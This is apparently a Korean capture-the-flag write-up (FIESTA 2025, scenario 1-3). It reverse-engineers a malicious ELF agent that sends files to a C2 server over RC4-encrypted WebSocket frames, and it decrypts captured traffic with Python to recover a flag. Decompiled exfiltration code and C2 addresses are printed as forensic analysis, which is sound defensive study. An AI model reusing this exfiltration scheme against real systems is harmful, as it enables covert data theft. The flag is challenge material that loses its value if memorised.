[FIESTA 2025] 시나리오 1-3

시나리오 1-3

지금 주어진 것들은 1-1에서 확보했던 방화벽의 네트워크 패킷 캡처 파일과 1-3 문제에서 제공하는 agent ELF파일이다.

1-1 recall: 사내 A 서버에서 15.164.209.134(MDNS포트 5353)과 43.200.69.196(HTTP/80) 주기적 통신 채증, 방화벽 우회를 위해 DNS TXT 응답, WebSocket Handshake를 통해 통신을 은닉함.

Packet Evidence

네트워크에서 더 건질게 있나 확인하기 위해 15.164.209.134↔43.200.69.196 응답 중

rqx8X+kGqDopsbr9ohmdd4eD7toWoPR9cnz9b1vWC6jcsjqRfKFwW9AJ7Zp8np8SjA==

해당 base64 문자열을 다수 포착했다.

Screenshot 2025-09-29 at 19.11.52

43.200.69.196와 트래픽은 WebSocket handshake 이후 1349Byte의 바이너리 프레임으로 종료된다. 프레임은 base64 문자열 2개가 | 로 구분되는 형식이였다.

ELF Evidence

main에서 난수 초기화 후 xNc7fT5G.isra.0() 호출한다.

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  int v5; // ebx
4
  const char *v6; // rcx
5
  __int64 v7; // rdi
6
  int v8; // edx
7
  int v9; // eax
8
  int v10; // esi
9
  int v12; // ebx
10
  unsigned int v13; // eax
11
  _DWORD vars0[94]; // [rsp+0h] [rbp+0h] BYREF
12

13
  v5 = 1;
14
  memset(vars0, 0, 0x148u);
15
  vars0[64] = 5;
16
  vars0[81] = 53;
17
  if ( argc > 1 )
18
  {
19
    do
20
    {
21
      v6 = argv[v5];
22
      v7 = v5;
23
      v8 = *(unsigned __int8 *)v6;
24
      v9 = v8 - 45;
25
      if ( v8 == 45 )
26
      {
27
        v9 = *((unsigned __int8 *)v6 + 1) - 100;
28
        if ( v6[1] == 100 )
29
          v9 = *((unsigned __int8 *)v6 + 2);
30
      }
31
      v10 = v5 + 1;
32
      if ( v9 )
33
      {
34
        if ( v8 != 45 )
35
          goto LABEL_16;
36
        if ( v6[1] == 116 && !v6[2] )
37
        {
38
          if ( argc > v10 )
39
          {
40
            v5 += 2;
41
            vars0[64] = strtoq(argv[v7 + 1], 0, 10);
42
            continue;
43
          }
44
LABEL_9:
45
          if ( v6[1] == 112 && !v6[2] )
46
          {
47
            if ( argc <= v10 )
48
              break;
49
            v5 += 2;
50
            vars0[81] = strtoq(argv[v7 + 1], 0, 10);
51
            continue;
52
          }
53
LABEL_16:
54
          ++v5;
55
          continue;
56
        }
57
      }
58
      else if ( argc > v10 )
59
      {
60
        v5 += 2;
61
        j_strncpy_ifunc(vars0, argv[v7 + 1], 255);
62
        continue;
63
      }
64
      if ( v8 != 45 )
65
        goto LABEL_16;
66
      if ( v6[1] != 105 || v6[2] )
67
        goto LABEL_9;
68
      if ( argc <= v10 )
69
        break;
70
      v5 += 2;
71
      j_strncpy_ifunc(&vars0[65], argv[v7 + 1], 63);
72
    }
73
    while ( argc > v5 );
74
  }
75
  if ( LOBYTE(vars0[0]) )
76
  {
77
    setvbuf(stdout, 0, 2, 0);
78
    setvbuf(stderr, 0, 2, 0);
79
    v12 = time(0);
80
    v13 = getpid();
81
    srandom(v12 ^ v13);
82
    xNc7fT5G_isra_0(vars0);
83
  }
84
  return 1;
85
}

ELF 분석 하던 중 핵심 함수들을 정리해보겠다.

1
__int64 __fastcall tJp3mE5V_constprop_0(__int64 a1, unsigned __int64 a2, __int64 *a3)
2
{
3
...
4
  if ( a2 <= 2 )
5
  {
6
    v15 = 1;
7
    v14 = 0;
8
  }
9
  else
10
  {
11
    v11 = 3;
12
    do
13
    {
14
      v10 += 4;
15
      v12 = (*(unsigned __int8 *)(a1 + v11 - 2) << 8) | (*(unsigned __int8 *)(a1 + v11 - 3) << 16);
16
      v13 = v12 | *(unsigned __int8 *)(a1 + v11 - 1);
17
      *((_DWORD *)v10 - 1) = (unsigned __int8)b64tab[v12 >> 18]
18
                           | (((unsigned __int8)b64tab[(v12 >> 12) & 0x3F]
19
                             | (((unsigned __int8)b64tab[(v13 >> 6) & 0x3F] | ((unsigned __int8)b64tab[v13 & 0x3F] << 8)) << 8)) << 8);
20
      v14 = v11;
21
      v11 += 3LL;
22
    }
23
    while ( a2 >= v11 );
24
    v15 = v14 + 1;
25
  }
26
  if ( a2 == v15 )
27
  {
28
    v10 += 4;
29
    v21 = *(unsigned __int8 *)(a1 + v14);
30
    v22 = (16 * (_BYTE)v21) & 0x30;
31
    LOBYTE(v21) = b64tab[v21 >> 2];
32
    *(v10 - 3) = b64tab[v22];
33
    *(v10 - 4) = v21;
34
    *((_WORD *)v10 - 1) = 15677;
35
  }
36
  else if ( a2 == v14 + 2 )
37
  {
38
    v17 = *(unsigned __int8 *)(a1 + v14);
39
    v18 = *(unsigned __int8 *)(a1 + v15);
40
    v10[3] = 61;
41
    v10 += 4;
42
    v17 <<= 16;
43
    *(v10 - 4) = b64tab[v17 >> 18];
44
    v19 = v17 | (v18 << 8);
45
    v20 = v19 >> 6;
46
    LOBYTE(v19) = b64tab[(v19 >> 12) & 0x3F];
47
    *(v10 - 2) = b64tab[v20 & 0x3C];
48
    *(v10 - 3) = v19;
49
  }
50
  *v10 = 0;
51
  a3[1] = (__int64)&v10[-v9];
52
  return 0;
53
}

tJp3mE5V.constprop.0 : 메모리 블록을 Base64 인코딩.

1
__int64 __fastcall dLp1vK3W_constprop_0(__int64 a1, __int64 a2, unsigned __int64 a3, __int64 *a4)
2
{
3
 ...
4
  j_memcpy(a4[1] + v9, a2, a3);
5
  v10 = a4[1];
6
  v11 = v42;
7
  v12 = (__m128i *)v42;
8
  si128 = _mm_load_si128((const __m128i *)&xmmword_4C5F40);
9
  a4[1] = a3 + v10;
10
  v14 = _mm_shuffle_epi32(_mm_cvtsi32_si128(4u), 0);
11
  v15 = _mm_shuffle_epi32(_mm_cvtsi32_si128(0x10u), 0);
12
  v16 = _mm_shuffle_epi32(_mm_cvtsi32_si128(8u), 0);
13
  v17 = _mm_shuffle_epi32(_mm_cvtsi32_si128(0xCu), 0);
14
  v18 = _mm_shuffle_epi32(_mm_cvtsi32_si128(0xFF00FFu), 0);
15
  do
16
  {
17
    v19 = si128;
18
    ++v12;
19
    v20 = _mm_add_epi32(si128, v14);
20
    v21 = _mm_unpacklo_epi16(si128, v20);
21
    v22 = _mm_unpackhi_epi16(si128, v20);
22
    si128 = _mm_add_epi32(si128, v15);
23
    v23 = v21;
24
    v24 = _mm_unpacklo_epi16(v21, v22);
25
    v25 = _mm_unpackhi_epi16(v23, v22);
26
    v26 = v19;
27
    v27 = _mm_add_epi32(v19, v17);
28
    v28 = _mm_unpacklo_epi16(v24, v25);
29
    v29 = _mm_add_epi32(v26, v16);
30
    v30 = _mm_unpacklo_epi16(v29, v27);
31
    v31 = _mm_unpackhi_epi16(v29, v27);
32
    v12[-1] = _mm_packus_epi16(
33
                _mm_and_si128(v28, v18),
34
                _mm_and_si128(_mm_unpacklo_epi16(_mm_unpacklo_epi16(v30, v31), _mm_unpackhi_epi16(v30, v31)), v18));
35
  }
36
  while ( v12 != (__m128i *)&v43 );
37
  v32 = 0;
38
  v33 = 0;
39
  do
40
  {
41
    v34 = v33;
42
    v35 = *v11;
43
    ++v33;
44
    ++v11;
45
    v32 += v35 + *(unsigned __int8 *)(a1 + (v34 & 0x3F));
46
    *(v11 - 1) = v42[(unsigned __int8)v32];
47
    v42[(unsigned __int8)v32] = v35;
48
  }
49
  while ( v33 != 256 );
50
  result = *a4;
51
  if ( a3 )
52
  {
53
    v37 = result + v10;
54
    v38 = (_BYTE *)(result + a3 + v10);
55
    v39 = 0;
56
    v40 = 1 - (result + v10);
57
    do
58
    {
59
      v41 = (unsigned __int8)v42[(unsigned __int8)(v40 + v37)];
60
      v39 += v41;
61
      v42[(unsigned __int8)(v40 + v37)] = v42[(unsigned __int8)v39];
62
      v42[(unsigned __int8)v39] = v41;
63
      result = (unsigned __int8)v42[(unsigned __int8)(v42[(unsigned __int8)(v40 + v37)] + v41)];
64
      *(_BYTE *)v37++ ^= result;
65
    }
66
    while ( (_BYTE *)v37 != v38 );
67
  }
68
  return result;
69
}

dLp1vK3W.constprop.0 : 디렉터리/파일 열람 및 RC4 S-box 초기화.

1
__int64 __fastcall fZr2bH9X_isra_0(__int64 a1, __int64 a2, unsigned __int64 a3, int a4, _BYTE *a5)
2
{
3
 ...
4
        v17 = socket(*(v16 + 4), *(v16 + 8), *(v16 + 12), v15);
5
        v18 = v17;
6
        if ( v17 >= 0 )
7
        {
8
          if ( !connect(v17, *(v16 + 24), *(v16 + 16)) )
9
          {
10
            v19 = v82;
11
            freeaddrinfo(v84);
12
            v89[0] = v18;
13
            do
14
              *v19++ = rand();
15
            while ( v19 != &v83 );
16
            v84 = 0;
17
            v85 = 0;
18
            v20 = tJp3mE5V_constprop_0(v82, 16, &v84);
19
            v21 = v84;
20
            if ( !v20 )
21
            {
22
              v22 = snprintf(
23
                      v90,
24
                      1024,
25
                      "GET %s HTTP/1.1\\r\\n"
26
                      "Host: %s:%d\\r\\n"
27
                      "Upgrade: websocket\\r\\n"
28
                      "Connection: Upgrade\\r\\n"
29
                      "Sec-WebSocket-Key: %s\\r\\n"
30
                      "Sec-WebSocket-Version: 13\\r\\n"
31
                      "\\r\\n",
32
                      &v89[66],
33
                      &v89[1],
34
                      v89[65]);
35
              free(v21);
36
              v85 = 0;
37
              result = send(v89[0], v90, v22, 0);
38
              v23 = v89[0];
39
              if ( result == v22 )
40
              {
41
                result = recv(v89[0], v91, 2047, 0);
42
                if ( result > 0 )
43
                {
44
                  v24 = 1;
45
                  if ( a3 < 0xFFFFFFFFFFFF8001LL && a3 != 0 )
46
                    v24 = (a3 + 0x7FFF) >> 15;
47
                  v57 = v24;
48
                  v54 = 0;
49
                  while ( 1 )
50
                  {
51
                    v25 = (v54 << 15) + 0x8000;
52
                    if ( v25 > a3 )
53
                      v25 = a3;
54
                    v26 = v25 - (v54 << 15);
55
                    v27 = *a5 ? "%s|%zu|%zu|%zu|%s" : "%s|%zu|%zu|%zu";
56
                    v28 = 1024;
57
                    v29 = 0;
58
                    snprintf(v90, 1024, v27, a4, v54, v57);
59
                    srandom(15852074);
60
                    do
61
                    {
62
                      v30 = random(15852074, v28);
63
                      v28 = JB8qL4;
64
                      v82[v29] = JB8qL4[v29] ^ BYTE2(v30);
65
                      ++v29;
66
                    }
67
                    while ( v29 != 64 );
68
                    v31 = 15852074;
69
                    v32 = 0;
70
                    srandom(15852074);
71
                    do
72
                    {
73
                      v33 = random(v31, JB8qL4);
74
                      v31 = NY1sP6;
75
                      *(&v84 + v32) = NY1sP6[v32] ^ BYTE2(v33);
76
                      ++v32;
77
                    }
78
                    while ( v32 != 64 );
79
 ...
80
  }
81
  return result;
82
}

fZr2bH9X_isra_0 : 웹 소켓 보내는 곳

__srandom(0xf1e22a) + __random() 반복 호출 → 0x40 바이트 키 스트림 생성.

생성된 난수는 로데이터 테이블 JB8qL4(0x4c5e40)·NY1sP6(0x4c5e00)과 XOR되어 최종 RC4 키 두 개를 만듦.

첫 번째 RC4 키로 메타데이터 블록을 암호화 후 Base64 인코딩, 두 번째 키로 실제 페이로드 암호화.

송신 포맷은 @@ws://%s|%zu|%zu|... 템플릿 기반이며 WebSocket 텍스트 프레임으로 전송됨.

모든 로직을 다 알았으니 이제 복호화를 해야한다.

C2 통신 프로토콜을 암호화 해제하자.

우선 웹 소켓 보낸 것들을 모두 파일로 저장했다. 모든 세션 해시가 동일해서 최초 세션만 분석하면 충분하다.

Screenshot 2025-09-29 at 19.25.02

1
payload = Path('frame0.bin').read_text()
2
chunk_meta, chunk_data = payload.split('|')
3
meta_b = base64.b64decode(chunk_meta)
4
data_b = base64.b64decode(chunk_data)

agent 로직을 따라 glibc random() PRNG를 동일하게 구동해야 RC4 키를 재현할 수 있다.

1
libc.srandom(0xf1e22a)
2
key = bytes(((libc.random() >> 16) & 0xff) ^ table[i] for i in range(0x40))

키 생성 코드

복호화는 RC4(KSA/PRGA)를 그대로 구현해서 수행했다.

그리고 rowdata table 추출 및 키 재현 수행

1
KEY_TABLE1 = 0x4c5e40 # JB8qL4
2
KEY_TABLE2 = 0x4c5e00 # NY1sP6
3
key1 = derive_rc4_key(KEY_TABLE1)
4
key2 = derive_rc4_key(KEY_TABLE2)

RC4로 메타블록과 데이터 블록 복호화를 거치면

1
meta_plain = rc4(key1, meta_b)
2
data_plain = rc4(key2, data_b)

meta_plain: 95|0|1|985|/secret/flag

data_plain:

Screenshot 2025-09-29 at 19.29.07

전체 페이로드는 /etc/passwd 파일 내용으로 보이며 RC4로 암호화된 후 WebSocket 프레임에 실려 전송된다.

fiesta{9116e22e132b3e550f0c97c3e11e64a6}